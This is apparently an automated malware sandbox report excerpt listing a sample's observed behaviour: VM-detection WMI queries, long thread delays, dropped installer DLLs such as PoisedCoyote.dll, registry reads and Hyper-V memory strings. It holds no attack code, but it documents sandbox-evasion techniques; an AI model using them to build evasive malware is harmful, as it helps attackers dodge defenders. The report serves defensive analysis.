Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 39D0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1BC70000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 533000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 599921	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 599812	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\regsvr32.exe	Window / User API: threadDelayed 5316	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Window / User API: threadDelayed 4527	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6408	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3344	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7627	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1871	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7257
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2342

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\is-DOVSB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\is-D8FFC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_16-36158

Source: C:\Windows\System32\regsvr32.exe

API coverage: 8.4 %

Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59891s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7248	Thread sleep count: 5316 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7248	Thread sleep count: 4527 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59766s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59641s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59531s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59418s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59203s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59094s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58984s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58875s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58766s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58641s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58516s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58406s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58296s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58185s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58078s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57968s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57859s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57641s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57516s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57391s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57281s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57172s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -57062s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56950s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56843s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56734s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56625s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56516s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56391s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56266s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56156s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -56047s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7692	Thread sleep time: -533000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -599921s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -599812s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59874s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59765s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59656s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59541s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59437s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59328s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59218s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -59000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7656	Thread sleep time: -58890s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep count: 6408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep count: 3344 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep count: 7627 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep count: 1871 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5436	Thread sleep count: 7257 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 736	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3736	Thread sleep count: 2342 > 30

Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB28C9E0 GetSystemInfo,

16_2_00007FFDFB28C9E0

Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59891	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59766	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59641	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59531	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59418	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59312	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59203	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59094	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58984	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58875	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58766	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58641	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58516	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58406	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58296	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58185	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58078	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57968	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57859	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57750	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57641	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57516	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57391	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57281	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57172	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 57062	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56950	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56843	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56734	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56625	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56516	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56391	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56266	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56156	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 56047	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 533000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 599921	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 599812	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59874	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59765	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59656	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59541	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59437	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59328	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59218	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59109	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58890	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000008.00000003.2088789519.000000000290A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2088977331.00000000033A4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2088977331.0000000003351000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038D4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2320947816.0000000002DF9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2020259374.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.0000000003881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes
Source: regsvr32.exe, 00000008.00000003.1795548970.0000000002746000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1801690119.0000000002746000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1802711281.0000000002746000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Re
Source: regsvr32.exe, 00000010.00000003.1993737775.0000000002C3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other 